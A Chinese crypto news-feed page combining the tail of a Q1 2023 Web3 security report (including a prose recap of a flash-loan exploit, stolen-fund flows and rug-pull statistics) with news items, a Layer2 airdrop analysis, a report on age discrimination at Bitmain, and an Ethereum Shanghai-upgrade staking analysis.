攻击者首先通过AAVE合约闪电贷借出4400万枚的USDC存入Pool合约中，然后mint了4400万枚LP-USDC。接着攻击者调用borrow函数借出了4179万枚USP，下一步立马调用了EmergencyWithdraw函数。 在EmergencyWithdraw函数中有一个isSolvent函数来验证借贷的余额超过可借贷最大值，返回true就可以进入transfer操作，而没有考虑验证负债金额是否已经偿还的情况。所以攻击者可以在没有偿还债务的情况下直接调用成功提取出之前质押的4400万枚LP-USDC。 2023年第一季度，约有 $200,146,821的被盗资产得以追回，占所有被盗资产的67.8%。其中，Euler Finance 被盗的1.97亿美元资产已经全部被黑客返还。更多追回的例子包括：2月13日，攻击dForce的黑客返还了全部盗取的365万美元资金；3月7日，攻击Tender.fi的白帽黑客返还了盗取资金并获得了62 ETH的赏金。本季度资金追回的情况优于2022年的任何一个季度。 Beosin KYT反洗钱分析平台发现约有2313万美元（7.8%）的资产转入了Tornado Cash，另外有254万美元的资产转入了其他混币器。和去年相比，本季度转入混币器的被盗资金比例大幅度减少。事实上，从去年8月Tornado Cash遭受制裁以来，转入Tornado Cash的被盗资金比例自2022年Q3开始就呈现持续下降趋势。 同时，Beosin KYT反洗钱分析平台发现约有6002万美元（20.3%）的资产还停留在黑客地址余额。还有约932万美元（3.1%）的被盗资产转入了各交易所。转入交易所的事件大部分为涉及金额不高的攻击事件，少部分为一些过了几天才被公众关注到的钓鱼事件。由于关注度低或者关注延迟等原因，让黑客有了将赃款转入交易所的可乘之机。 2023年第一季度遭到攻击的项目中，除开8个无法用是否审计衡量的事件（如一些个人用户遭受的钓鱼攻击等），在剩下被攻击的项目中，接受过审计的有28个，未接受审计的有25个。 本季度共有27起合约漏洞利用导致的攻击事件，其中审计过的项目有15个（损失约3119万美元），未审计的有12个（损失约786万美元）。整个市场审计质量依旧不容乐观。建议项目方在选择审计公司之前一定要多加比对，选择专业的审计公司才能让项目安全得到有效的保障。 9 Rug Pull 分析 2023年第一季度，Web3领域共监测到主要Rug Pull事件41起，涉及金额约 2034万美元。 从金额来看，6起（14.6%）Rug Pull事件金额在100万美元之上，10万至100万美元区间的事件共12起（29.2%），10万美元以下的事件共23起（56%）。 41起Rug Pull事件中，有34个项目部署在BNB Chain，占到了83%。为何众多诈骗项目选择BNB Chain呢？原因可能有如下几点： 1）BNB Chain GAS费用更低，出块时间间隔也更短。 2）BNB Chain活跃用户更多。诈骗项目会优先选择活跃用户多的公链。 3）BNB Chain的用户使用Binance出入金更方便快捷。 10 2023 Q1安全态势总结 从总体上来看，2023年第一季度攻击事件总损失金额低于2022年任何一个季度，资金追回情况也优于2022年所有季度。在黑客猖獗的2022年过去之后，Web3领域的总体安全性在这一季度得到了较大的提升。 DeFi为本季度被攻击频次最高、损失金额最多的项目类型。DeFi领域共发生42次安全事件，其中22次都源自合约漏洞利用（22个项目审计和未审计的项目各有11个）。如果寻找专业的安全公司进行审计，其中绝大部分漏洞都可以在审计阶段被发现和进行修复。 本季度用户安全也是值得关注的重点。随着本季度Blur带领NFT市场重回火热，随之而来的NFT钓鱼事件也大幅增加。仔细检查每一个链接是否是官网、检查签名内容、完整检查转账地址的正确性、从官方应用商店下载应用、安装防钓鱼插件 -- 每一个环节都必须时刻保持警惕。 本季度Rug Pull事件依旧频发，其中56%的项目跑路金额在10万美元以下。这类项目通常官网、推特、电报、Github等信息缺失，没有Roadmap或白皮书，团队成员信息可疑，项目上线到最后跑路周期不超过三个月。建议用户多多对项目进行背景调查，避免资金遭受损失。  ( 3 min )
    赵长鹏：香港地区银行支持加密货币后会吸引更多资金
    PANews 4月12日消息，币安首席执行官赵长鹏发推文称：“中国香港的银行开始支持加密货币后，我们将看到更多的资金转移到那里，仅USDT就有800亿美元的市值，后续还有更多稳定币陆续到来。”  ( 1 min )
    FTX：已授权并指示Ren Protocol将所有加密资产移到FTX债务人的冷钱包
    PANews 4月12日消息，资产跨链协议Ren Protocol在推特上分享了一则FTX官方发布的公告：“我们希望告知Ren社区，FTX Trading Ltd.、West Realm Shires Services Inc.、Alameda Research LLC、Maclaurin Investments Ltd.及其某些附属公司（统称为“FTX债务人”）购买了Ren Protocol实体的股份和所有资产，授权并指示Ren Protocol实体将所有加密货币资产转移到FTX债务人的冷钱包中，以便在基础设施和系统可能关闭之前进行保护。加密货币资产将转移到Ren为这些资产指定的独立隔离钱包冷钱包，与其他债务人冷钱包分开。”  ( 1 min )
    空投预期引发交互热潮，Layer2之夏即将到来？
    原文标题：《空投卷王的期待：Layer2 之夏》 原文来源：Huobi Research 1.Arbitrum 空投下的狂欢 2. 以太坊二层的空投机会 2.1 zkSync era. 2.1.1 zkSync 生态部分项目盘点 2.2 Starknet 2.2.1 Starknet 生态部分项目盘点 2.3 后起之秀的 Layer2 项目 3.BTC 二层网络发展及现状 4. 结论与思考 参考资料 本篇热点报告主要复盘了 Arbitrum one 发行代币后整个 Layer2 生态的现状，得到以下结论： 2022 年 3 月最令人兴奋的事情无疑是 Arbitrum 的空投，$ARB 价格也符合大家的预期，稳定在$1~$1.5 附近。根据官方空投规则，625,143 个地址获得空投资格，空投供应量超过 1b，每个地址平均获得 1,859 个$ARB，价值约为$24,167，这无疑带来了一大波财富效应，且交互成本不会超过$10。自发布空投规则后，Arbitrum One 的 TVL 一路上涨至今已达到$2.25b，占据整个 layer2 生态的 66.86%，唯一地址数也超过 400 万，空投当周活跃用户数达到了 1.38m。即使在空投和发币结束后，Arbitrum 的链上活跃度也要高于其它公链及以太坊主网。 图 1. Arbitrum 每周活跃地址数（来源：dune, @Henrystats） Arbitrum 的空投带来了一些有趣的现象： Arbitrum 的空投规则并没有有效的屏蔽女巫地址。这导致某些个人和团体获得了巨额的财富，有 1007 个合约地址也收到了空投，总数约 100 万，并且空投规则无法有效防止以下四种类型的女巫： 由于财富效应，大批用户涌入其它未发币的 Layer2 项目做交互，尤其是 Layer2 四大天王项目剩下的 zkSync 和 StarkNet，甚至 Goerli 测试网的项目也吸引了用户的涉足，Goerli ETH 测试币开始有了价格。 图 2. Goerli ETH 价格曲线（来源：Tradingview） Layer2 交互频繁，ETH gas 燃烧，ETH 稳定通缩。ZkSync 的 gas 消耗在过去一周上涨了 82%，达到了 1003 枚 ETH。 图 3. ETH 供应及燃烧情况（Mar.1-Mar.30, 来源：ultrasound.money） 中国用户对空投情有独钟。从 Google trends 上看，中国在 zkSync 的搜索量在过去一个月排名全球第一。 图 4. 过去一个月 zkSync 热度区域排名（来源：Google trends） $ARB 代币发行后，FDV 达到$1.5B，Arbitrum 的主流生态市值下降，链上活动本周也回到了发币前的状态。现阶段行业仍处于熊市，发币利好出尽后，可能就是利空。链上资金又迅速转移到新的叙事中。 表 1. Arbitrum 发币后生态市值变化 无论 OP 系的底层技术是否真的去中心化及高性能（比如节点宕机、排序器问题），用户关心的还是财富效应。Optimism 和 Arbitrum 通过生态积累加上空投抢用户的方式，获得了 Layer2 生态中很好的市场份额。并且，随着 Layer2 生态愈发成熟，加之 EIP-4844 将大幅降低 Layer2 费用，Layer2 与其它公链相比已占据了很大优势。2021 年的加密行业牛市是新公链的大爆发，而 Layer2 之夏也是所有用户的期待。 在 Optimism 和 Arbitrum 成功的前提下，Layer2 剩下的两个王者项目 zkSync 和 StarkNet 想要抢占市场需要拿出更多的诚意。项目间的竞争和用户的 fomo 带来的财富效应已经让 Layer2 Summer 呼之欲出。下面，我们梳理了以太坊 Layer2 项目的进展情况和生态发展，为各位空投用户提供参考。 zkSync 由 Matter Labs 开发，利用零知识证明，特别是 zk-Rollups，将多个交易捆绑到一个证明中，然后可以在以太坊区块链上进行验证。zkSync 是区块链生态系统中一个很有前途的扩展解决方案，旨在解决以太坊上高额费用和网络拥塞的挑战。通过提供安全、可扩展且低成本的替代方案，它可以更实用、更高效地使用去中心化应用程序和数字资产。 3 月 24 日，zkSync 开发团队 Matter Labs 宣布 zkSync Era 主网正式向用户开放。zkSync Lite 是 1.0 版本，zkSync Era 本质上是 zkSync 的 2.0 版本，通过从外部拥有账户 (EOA) 升级到智能合约账户 (CA)，用户可以构建抽象助记词、安排和自动支付以及以任何代币支付 gas 费——甚至可以代表其他用户支付 gas 费。 目前，zkSync Era 网络 TVL 达$42.86M，zkSync Era 过去一周涨幅达到 47000%。，据 Dune Analytics 数据信息，zkSync Era 单一地址数已达 241,765 个，已有 58,554 枚 ETH 跨链进入 zkSync Era 网络。根据 Defillama 数据，已收录的 DeFi 项目有 9 个，以 DEX 项目为主。而官宣上线的项目已有 34 个，包括钱包、跨链、NFT 等，但创新项目较少，离 OP 系的生态还有一定的差距。用户交互可以选择： 使用官方跨链桥；（2）与 DEX 交互，兑换代币或成为 LP；（3）参与借贷项目；（4）参与域名或 NFT 铸造。 图 6. 过去 7 天 Layer2 项目的活跃度（来源：L2beat.com） 2.1.1 zkSync 生态部分项目盘点 DeFi NFT Marketplace & Projects 其它 2.2 Starknet StarkNet 是利用零知识证明，特别是 zk-STARK 技术实现以太坊二层扩容网络。它由 StarkWare 开发，该公司专注于创建加密证明系统以提高各种区块链网络的可扩展性和隐私性。StarkWare 利用 zk 技术创建了两个项目 StarkEx 和 StarkNet。StarkEx 为每一个应用提供专门的 Rollup 技术服务，2020 年正式上线。基于 StarkEX 开发的项目有 Sorare、immutableX、dYdX 等。StarkNet 可以部署任意的智能合约的通用型 Rollup。2021 年 11 月上线主网，已经上线的生态项目超过 50 个。 鉴于 StarkWare 目前估值 80 亿美金，StarkNet 生态项目的含金量不用多说。StarkNet 已经于 2022 年 11 月 16 日宣布在以太坊主网上部署了其原生代币$STRK，用于投票、质押和支付费用，代币分配仍待决定。 图 8. Starknet 网络活跃度（来源：L2beat） 2.2.1 Starknet 生态部分项目盘点 DeFi NFT Marketplace & Projects DID Game 2.3 后起之秀的 Layer2 项目 紧追四大天王的 Layer2 项目中，Scroll 是目前热度仅次于 zkSync 和 Starnet。Scroll 分别在 2022 年 4 月获得了 3000 万美元的 A 轮融资，以及 2023 年 7 月获得了 5000 万美元融资。Scroll 的目标是构建一个兼容 EVM 的 zk-Rollup，团队成为以华人为主。目前，Scroll 项目进展顺利，alpha 测试网阶段正在进行中，在 pre-alpha 版本期间，实现了 100 万个唯一地址和 1600 万笔交易，近期测试网的 ETH 总量也在增加。Scroll 生态尚未完全形成，用户能够参与的项目很少，比如 Uniswap，代码能力强的用户可以部署智能合约，但是都需要获得 Goerli 测试币。 图 9. Scroll Goerli ETH amount（来源：dune,@subinium） 另外一个值得关注的 Layer2 项目是 Coinbase 开发的 Base 网络，该项目是 Coinbase 于 2 月 23 日宣布推出。Base 基于 OP Stack 技术，目前 Base 已开放测试网并预计在两个月后发布主网。3 月，Base 的合约部署数量也远超 Arbitrum 和 Optimism。Base 的推出有助于 Coinbase 自己的去中心化应用的开发和部署，在未来结合 Coinbase Wallet 和智能合约钱包的账户抽象技术，可以让 Coinbase 的客户非常方便地进入 Base 承载的金融服务协议。 Coinbase 公布了 Base 生态基金支持的四大方向：1、可跟踪通货膨胀率的稳定币（flatcoins）；2、链上声誉平台；3、链上限价订单簿（LOB）交易平台； 4、更安全的 DeFi，这包括可以防止智能合约代码漏洞或协议逻辑错误的工具，以及最终的链上保险和保险协议，或任何其他在智能合约失败时可以为用户提供关键支持的产品。 图 10. Unique Contracts Deployed（来源：Artemis） 近期，除了 Polygon zkEVM 主网上线热度高涨之外，Consensys 也开放了其 zkEVM 项目 Linea 的测试网。上周，Linea 均有单日超过 1 万枚 Goerli ETH 流入，创下新高。目前 Linea 链上共有超过 11 万个地址，存入了约 11.5 万枚 Goerli ETH，完成了超过 59 万笔交易。Linea 的交互与 Scroll 类似，需要去获取 Goerli 的测试币。目前，用户可以交互的应用比较有限，包括跨链桥 hop，DEX: Uniswap、MES protocol，NFT: ghostNFT。 图 11. Linea Goerli ETH 单日流入量（来源：Dune, @subinium） 随着以太坊二层方案的风生水起，比特币二层网络也涌入了众多开发者，早期比较知名的有闪电网络，闪电网络的用例包括社交平台打赏支付、跨境汇款、商户支付、转账交易等，能够满足多样化的支付场景需求。2021 年萨尔瓦多将比特币法币化后，闪电网络的支付数量和金额迅速上升。截止至 2023 年 3 月 27 日，闪电网络一共有 1.8 万个节点，近 8 万个支付通道（数据来源：bitcoinvisuals）。 但闪电网络并不能承载类似以太坊多样的生态应用，自 BTC taproot 升级之后，开发人员可嵌入资产元数据，让 BTC 具备成为数据平台的可能。BTC 二层概念脱颖而出。2 月，基于 Ordinal 协议的 BTC NFT，给市场带来了 BTC 原生生态及序数 NFT 概念，BTC 生态再度受瞩。这里整理了 3 个 BTC 二层知名项目。 表 2. BTC 二层知名项目 结论与思考 Arbtrum 的空投引发了 Layer2 热潮，fomo 的背后，也引发了一系列的问题： 1. 投机者过于热情，反而忽略了项目本身的发展，区块链本身的技术进步，与 AI 相比，造富效应过于明显，而使得用户并没有享受产品带来的技术先进性，这其实非常不利于行业发展； 2. 虽然是熊市，场内资金博弈和互割反而越发激烈； 3. 大家对 Layer2 的期待远高于公链，以太坊生态承载了太多资金，但 zk 技术尤其是 zkvm 发展缓慢； 4. 空投太卷，反而无利可图。更有实力的项目可能会选择 IDO 的方式，比如公链 Sui，可能客观且公正的。 以太坊 Layer2 的其它项目，例如 Starknet 的生态要比 zkSync 丰富的多，但它不急于发币，Starkware 公司收取的服务费也已完全能够使其盈利。笔者反而更加看好以 zkevm 为技术核心的 Layer2 项目，比如 Scroll 和 Linea。但这些项目的交互略为复杂，需要购买 ETH 测试币。 BTC 二层发展缓慢，也倍受争议。笔者认为 BTC 走支付赛道，或者 NFT collection 可能更具有实际意义。其它生态应用会有 gas fee 的阻碍，链上拥堵也会降低用户体验，以太坊生态也难以移植。 今年会不会发生 Layer2 之夏？对于刷空投的卷王来说，不管有没有，链上交互的成本可能是微不足道的，但从时间点来说，目前还处于熊市，整个市场链上和交易所的稳定币都在持续流出，BTC 和 ETH 的流动性也不好，所以 2023 年的夏季不利于项目方发行代币。也许我们迎来的不是 2023 年的 Layer2 之夏，真正 Layer2 之夏，需要在 2024 年的夏天出现，以太坊 EIP-4844 已升级完成，链上应用百花齐放，这也许就是下一个牛市的开端。 参考资料 https://mirror.xyz/0x30bF18409211FB048b8Abf44c27052c93cF329F2/DSAO5lW92IWKUNnwoZJwZUpB8M3A8llSdkTN-dmeYyI https://consensys.net/blog/research-development/consensys-zkevm-is-ready-for-public-testnet/ https://Goerli.linea.build/ https://www.odaily.news/post/5186161 https://www.wu-talk.com/index.php?m=content&c=index&a=show&catid=38&id=12865 https://www.fx168news.com/article/150875 https://www.panewslab.com/zh/articledetails/ws25r0c3.html本文来自投稿，不代表律动BlockBeats的观点。  ( 8 min )
    SushiSwap：将向用户提供已收回资金索赔申领网站
    PANews 4月12日消息，据官方推特，SushiSwap发布RouteProcessor2漏洞和用户退款更新：“对于已经回收的白帽资金，团队将制作一个Merkle Claim合约和一个网站，以移除任何剩余的RouteProcessor2批准并将用户资金返还至其钱包；对于无法收回的黑帽资金，Sushi团队将建立一个索赔流程，用户可以选择加入，将根据具体情况管理索赔。黑帽资金将需要更长的时间来处理，因为团队将根据链上数据手动验证索赔的合法性，然后相应地进行支付。” 此前4月9日消息，SushiSwap项目遭遇攻击，损失约334万美元。一攻击者已归还90枚ETH，且项目方已从CoffeeBabe追回超300 ETH的Sifu被盗资金。  ( 1 min )
    HashKey Group推出生态积分HSK：总供应量为10亿枚，65%将分配给生态增长
    PANews 4月12日消息，据官方博客，数字资产金融服务提供商HashKey Group宣布推出生态积分HSK，总供应量为10亿枚，其中65%的HSK将分配给生态增长，30%分配给团队，5%分配给储备金。HSK将作为使用HashKey交易所业务的奖励发放，未来将扩展到更多业务线奖励计划。HSK将定期从循环供应中回购和销毁，以抵消奖励分配的稀释效应。 相关阅读：HashKey Group将发布生态积分，一文读懂HSK的权益和分配机制  ( 1 min )
    比特大陆薪酬改革涉嫌年龄歧视，员工称将依法维权
    节选自集微网 集微网报道（文/朱秩磊）随着近年半导体市场需求的持续增长，芯片产业链各环节人才缺口问题不断显现。《中国集成电路产业人才白皮书（2019—2020年版）》指出，预计到2023年前后，全行业人才需求将达到76.65万人左右，其中人才缺口将达到20万人。智联招聘近日发布的《2023年春招市场行情周报（第四期）》也显示，芯片工程师、人工智能工程师在春节后四周连续霸榜高薪职业前两名，且平均招聘薪酬环比持续上涨，在节后第四周分别达到28422元/月和25148元/月，高于节后第三周的薪酬，高技术岗位有较好前景。 尽管近两年高薪抢人的热潮已开始减退，但是总体上看，我国集成电路行业仍然处于人才需求旺盛期，从业人才短缺痛点问题一定时期内将依然存在。 然而就是这样一个以“越老越吃香”著称的芯片领域，竟然出现了年龄歧视的情况。集微网获悉，今年一季度以来，矿机芯片龙头比特大陆开始执行员工结构薪酬改革，并且在进行绩效考核时加入“年龄分”，基准年龄之上，年纪越大扣分越多。有涉事员工认为此举违反劳动法，并表示将拿起法律武器维权。 一位比特大陆员工王为告诉集微网，在最新的薪酬调整方案中，原本的固定工资调整为基础工资+绩效工资两部分，而绩效工资与职级挂钩，T3x、T4x、T5x三档职级绩效工资比例分别为30%、50%、70%。在绩效考核时，最终的分数还与年龄挂钩，如果年龄超过基准线，绩效就要扣分。 根据集微网获得的一份比特大陆绩效考核细则显示，其中一项绩效打分原则正是职级、年龄对照表。不同职级均设置了参考年龄，在某个职级上，年龄每大一岁，绩效分减一分。 “比如应届博士默认职级T2，参考年龄25岁，会减多少分？”已经有十多年芯片设计经验的王为表示，他入职2年左右，当时职级划分方案也是刚推出，没有参考性，定的职级比较低，仅T32，今年升了一级。根据这份打分细则，年近40的他无故就要被扣掉近10分绩效分，最后得分很低，很难合格，毫无疑问会被扣工资。 要培养出一个合格乃至优秀的芯片设计工程师至少需要数年，巨大的时间成本决定了岗位竞争力。其次，设计经验也是芯片行业非常宝贵的价值，所以如果从事芯片行业的工程师，按理说是不应该会出现“中年危机”的。 “薪酬改革、根据绩效考核评定薪资这些无可厚非，但是以年龄来划分工作成果，这显然不合理甚至已经违法了。”王为气愤地表示，“我才40来岁，自认正值当打之年，年富力强，而且芯片设计看重经验积累，可以说是越老越吃香，凭什么进行年龄歧视？” 王为表示，比特大陆已从北京公司开始执行这一方案，如果不同意签字的员工，则拿赔偿走人。他认为这就是变相逼员工同意降薪，否则就走人。 “过去一段时间以来，公司推行年轻化政策，规定超过35岁不能当一线经理，现在管理层全是年轻人甚至应届生，比如有一个副总经理是去年7月份刚毕业的。”王为透露，“虽然招了很多应届生，可能也确实有能力强的，但是干活大多数还是社招的‘老’员工。” 晋升无望、薪资无法拿足全额，可能还要被能力不如自己的年轻人PUA，比特大陆许多“大龄员工”早已怨声载道，在脉脉等职场社区大吐苦水，少部分员工已准备通过各种途径维护自身权益。 目前比特大陆IC设计业务主要在北京比特大陆和算能，前者主要进行矿机芯片开发，后者则是AI芯片和RISC-V CPU开发。 今年1月，比特大陆刚推出新一代新矿机S19j Pro+，算力高达122T，功耗3355W，能效比27.5J/T，整体性能相比S19j Pro提升10%。“公司的芯片一直保持快速迭代，矿机芯片平均4个月左右就更新一代，算能也几乎一年一代，所以研发部门一直保持高强度工作。”王为表示，“由于年轻人比例高，这次绩效改革涉及的人员不算多。对年轻人来说几乎不受影响，所以基本都签字了。” 资深人力资源总监小美告诉集微网，劳动合同法第四条规定，用人单位应当依法建立和完善劳动规章制度，保障劳动者享有劳动权力、履行劳动义务。用人单位在制定、修改或者决定有关劳动报酬、工作时间等直接涉及劳动者切身利益的规章制度或重大事项时，应当经职工代表大会或全体职工讨论，提出方案和意见，与工会或职工代表平等协商确定，而不能自行其是。 “劳动立法如此设计，正是为了避免用人单位自定霸王条款，侵犯劳动者权益。”小美强调，“薪酬制度的调整无疑是与员工利益直接相关的，如果比特大陆在执行新规章之前，没有与员工代表大会或全体员工讨论协商，显然不符合法律规定。” 根据比特大陆某矿机器件供应商的招股书，比特大陆在2022年上半年营收规模仍保持增长，与同行业一致。而上市矿机制造商嘉楠耘智业绩显示，2022年一、二季度营收增幅分别达到236.67%、52.74%。根据该供应商与比特大陆的访谈，后者2022年上半年业绩较2021年同期仍持续增长。据一位业内人士则分析，比特大陆2022年营收或超过100亿美金。因此，资金问题应该不会是造成比特大陆这次薪酬改革的主要原因。 据了解，比特大陆推行薪酬新制度前并未与员工进行协商讨论。天眼查还显示，比特大陆近年来与员工劳工纠纷不断。作为一家曾经冲刺IPO的全球企业，为何会出现这样的操作，仍然令人费解。而据王为表示，比特大陆的法务“已经走得差不多了”。 王为也表示，准备拿起法律武器维护自己的利益。 王为的故事相信在整体就业市场中也不是个例。随着我国人口结构的演变，劳动者平均年龄呈现不断上升趋势，与年龄相关的职场焦虑日益显著，年龄歧视成为社会关注的热点话题，不乏一些企业认为35岁意味着工作热情和工作精力下降，而忽视产业转型升级所需的人力支撑和资源经验储备。尤其在半导体行业这样注重经验积累、高层次人才匮乏的领域，“年龄歧视”与市场需求趋势背道而驰，极易造成就业市场人才浪费与断层，增加劳动者焦虑，重则引发一系列经济和社会问题。 对此，去年的二十大报告已经强调，要消除影响平等就业的不合理限制和就业歧视，使人人都有通过勤奋劳动实现自身发展的机会。2022年政府工作报告也曾提出，要坚决防止和纠正性别、年龄等就业歧视，着力解决侵害劳动者合法权益的突出问题。今年两会以来，全国多地公务员考试已放宽35周岁限制，在破除年龄歧视方面率先进行引领和示范。 值得注意的是，就业年龄歧视之所以普遍存在，重要原因是缺乏明确、直接、有效的法律和政策依据，执法和监督部门难以开展有针对性的行动，使用人单位存在年龄歧视行为的违法成本极低。因此相关法律制度的完善迫在眉睫。 就在薪酬改革事件发酵的同时，近日媒体又爆出比特大陆因个人所得税代缴问题违法被罚2400余万元。上述分析人士指出，去年以来比特大陆就存在税务问题，这次罚款相较比特大陆每年缴纳的巨额税款相对较少，涉及个人所得税的严重性也较低，不过此举也凸显中国政府开始对加密货币行业进行税务稽查。 2013年，比特大陆推出搭载55nm芯片的蚂蚁矿机S1，凭借低功耗在当年第一轮比特币牛市中一炮打响。在2018年计划港股上市时，比特大陆估值达到120-150亿美元，一度垄断接近九成的比特币矿机市场。2018年后行情急转直下，币价暴跌、竞争对手涌现，2019年詹克团、吴忌寒两位创始人陷入夺权风波；随后经历席卷全球的疫情，以及2021年5月我国监管部门出台政策限制比特币挖矿和交易行为。市场浮沉之下，称霸“矿圈”的比特大陆多次冲击IPO失败。 2021年初，创始人内斗以比特大陆分拆结束，BTC.com、比特小鹿与海外矿场以9000万美金估值分拆后，归属吴忌寒团队；比特大陆其他业务（矿机、AI、蚂蚁矿池、国内矿场等）归属詹克团。詹克团为其统领下的比特大陆乔迁写下“无数因缘创比特，栉风沐雨启心台”的祝福，但是从当前该公司难以理解的内部管理来看，似乎仍未从内斗、分拆后的混沌中走出。 比特微、亿邦国际、嘉楠科技、比特大陆在2017-2019的市场份额变化 图源：硬氪 另一边，竞争者正在迅速逼近。昔日的矿机三巨头中，嘉楠科技、亿邦国际已分别于2019、2020年成功登陆纳斯达克，詹克团想要竭力摁住的比特微，据悉也已在2021年初秘密向SEC递交上市申请书并已通过，更是在迅速蚕食比特大陆的份额。 而根据Gartner的数据，曾经名列大陆IC设计前五名的比特大陆，已在不断的风风雨雨中跌至去年的20名之外。 （注：文中王为、小美均为化名）  ( 2 min )
    上海升级后的以太坊：展望质押赛道与抛售潮
    作者：Darren，Everest Ventures Group 上海升级暂定于 4 月13 日进行，将首次允许验证者从信标链撤出以及提款。相关预期迭加，市场又一次将注意力聚焦于以太坊流动性。上海升级完成后，是否会有抛售潮，是否会产生大幅币价波动，未来以太坊质押赛道的前景如何，质押收益走势如何，本文结合以太坊币价、通缩率、质押率走势、供应率走势等数据，进行分析讨论，结论如下： Source:https://dune.com/hildobby/eth2-staking 目前有约 60% 的以太坊被质押在提供了抵押流动性衍生品的服务商，仅约 40% 的以太坊属于独立验证者和质押池，这二者在此次上海升级中所受到的影响是不同的。 1）部分提款和完全提款 提款分为部分提款和完全提款。 部分提款：指超过 32个以太坊的余额（赚取的奖励）将被直接提取到以太坊地址，可以立即使用，验证器将继续作为信标链的一部分并按预期进行验证； 完全提款：指验证者完全退出，不再是信标链的一部分，验证者的全部余额（32 个以太坊和其他任何奖励）随后被解锁，并允许在退出机制完成后使用。 另外需要指出的是，信标链验证器包含一个称为取款凭据的字段，此凭证的前两个字节称为取款前缀，此值当前是 0x00 或 0x01，该值是在通过存款工具进行存款时设置的；具有 0x00 取款凭证的验证者将无法立即取款，这些验证者将需要迁移到 0x01 才能进行部分提款和全部提款。 2）部分提款可能对以太坊价格的影响 部分提款的速率为每个区块可以有 16 个提款请求，而目前 12 秒 1 个区块，每分钟 5 个区块，每小时 300 个区块，每天约为 7.2k 个区块；因此假设每个验证者都更新到了 0x11 那么预计每天约有 115k 验证者的部分提款。 据 beaconcha.in 数据，至今有 558062 的验证者，因此大约需要 4～5 天的时间就能够实现部分提款的退出，每个验证者的余额平均为 34 个以太坊，因此预估质押者们赚取了大约 「（34-32）✖558062 = 1116124 个以太坊的质押奖励（计为110万个）。按照当前的以太坊价格（计 $1800)，即在 4～5 天内会有价值 $1.98b 左右的以太坊被释放。 如下图所示，根据 CoinGecko 数据，目前以太坊每日现货总交易量为 $10.4b，因此部分提款的总价值约为以太坊每日现货交易总量的约 19%，平均到 5 天释放，每日释放量为每日现货交易量的 3%～4%。 这一部分是可预计的抛售压力，因为与完全提款可以在上海升级前通过流动性质押衍生品换回以太坊不同，质押奖励部分（部分提款）只有在上海升级后才能够提取，因此这一部分很有可能会有一定的抛压，但是部分提款对币价的影响是相对短期而言的，并不会长期且持续地影响以太坊价格；其次，在当前的以太坊价格下，考虑到 POS 参与者的其他链上行为（他们通常继续复利），相当一部分的以太坊长期质押者、持有者并不会在这时候出售。 Source：https://www.coingecko.com/ 更进一步地说，实际上并非所有验证者都拥有 0x01 凭证。如下图所示，据 Data Always 数据显示，截至 2023-01-29，大约还有 20% 的新验证者没有设置 0x01 凭证。 Source:https://dataalways.substack.com/p/partial-withdrawals-after-the-shanghai 另外，据 Date Always 研究中的动画表明，0x00 的转化峰值大约会在上海升级完成后的第二天早些时候达到并持续大约两天时间，并不是在上海升级完成时立刻达到；因此在最极端的情况下，第一天应该会看到大约 110k 个以太坊的部分提款（不包括 Lido 0x01 验证者）。 3）完全提款可能对以太坊币价造成的影响： 完全提款和部分提款具备同样的优先级，与部分提款在同一个提款队列中，在部分提款进行时，如果验证者被标记为“exited”，那么将执行余额➕奖励的全部退款。不过与部分提款不同的是，完全提款的速率受到更多的限制，如下两图所示，当前完全提款流失限制为 8 ，每日最多提款 57.6k 个以太坊，目前总共已质押约 18M个以太坊，其中 LSD 和 CEX 占了 60%。 由于这部分大多存在二级市场退出渠道，因此可以假定，有意愿在上海升级后退出的以太坊只有另外 40%的质押参与， 即 7.2M 个，因此假设在超极端情况下上海上级之后不再有用户存款而且每日提款量达到最大值，那么所有质押的以太坊都完全退出需要 125 天。 Source:https://dune.com/queries/1924507/3173695 正如上文中提到的，占供应量 60% 的两个类别是 LSD 和 CEX，它们大多都发行了抵押流动性衍生品，例如 stETH、cbETH、rETH、bETH 等。 以 stETH 为例，目前 stETH 对 ETH 的汇率为 0.9996，价差极小，因此如果想售出的质押者可以直接在市场中将流动性衍生品兑换为以太坊售出，完全无需等到上海升级后再售出；也正因如此，目前所质押的以太坊成本其实是很分散的，而且是一直在变化的，有很多人持有 stETH 并不是通过质押 ETH 获得的，而是在二级市场中交易获得的。对于这 60% 的质押者来说，在不考虑市场抛压造成的超卖行为，上海升级并不会对其产生过大影响。 市场中也有观点认为，体量大的质押者会由于担心衍生品的流动性不足，出售可能发生折价，因此其会等待上海升级完退出质押后再卖出。这种顾虑不无道理，但是我们回顾以太坊历史价格，如下图所示，可以看出在 2021 年 3 月和 2022 年 6 月期间出现过大幅折价，在 2021 年 3 月时，是因为当时正处在大盘高点，这部分卖出的多为 2020 年底质押的用户，在此套现离场；2022 年 6 月的这次折价，则是因为当时 3AC 和 FTX 事件，使得部分机构大量出售 stETH 导致价格脱锚，由此可以看出，对于大资金体量的投资者，在流动性不足的情况下依然会有抛售行为，这取决于市场情况，而非对于流动性的顾虑，因此将以太坊未来下跌的可能性完全归因于对于流动性紧缩的预期是不正确的。 Source：https://dune.com/skynet/lido-stetheth-monitor 4）以太坊存款成本价对上海升级后以太坊价格波动的影响 如上图所示，目前存款成本处于“水下状态”的质押者比处于“盈利状态”的多，因此在这方面也有着两种看法：其中一种认为这些亏损的会提出存款以止损，另一种认为亏损的会由于“厌恶损失”的情绪而更有可能持有。 而在以太坊质押上，对于大部分以太坊质押者（60%）来说，并不存在成本问题，因为正如上文所说，在上海升级前，一样可以通过二级市场去将 stETH 兑换为 ETH 并售出，因此对于这 60% 的质押者来说，这并没有什么影响。 但是对于另外 40%，它们大多是一些以太坊 POS 质押早期参与者，而这一部分人的成本价是相对较低的；以太坊信标链主网存款合约地址最早在2020 年11 月推出，当时ETH 价格仅约 $400～$500，直到 2021 年的三月底以太坊代币才达到今天的价格，因此或许可以猜测这部分质押者占了上图中“In the Money”的一大部分，而这样的成本价到今天的 $1800 也有 3~4 倍的涨幅，因此这一部分人可能会带来一定的抛压。并且由于市场情绪原因，这一部分人的抛压可能会使市场产生 FUD情绪，导致60% 的质押者也恐慌抛售，不过上文也有说到，以太坊质押的退出是有限制速率的，因此这些质押者的抛售反应在市场上也是相对缓慢的。 上文写了上海升级可能对以太坊币价造成的影响，此外，上海升级给以太坊带来的影响还会体现在以太坊的质押率和质押收益率上。 1）以太坊质押率以及质押收益率的影响因素 经过分析，我们认为，上海升级后以太坊的质押率会比现在高，但是很难与其他公链一样达到如此高的质押率（60%～80%）；此外，随着质押率的上升，在不计算套娃、LSDFI 等玩法的情况下，质押收益率会下降。 以下三个因素可能会利好以太坊质押率增长。 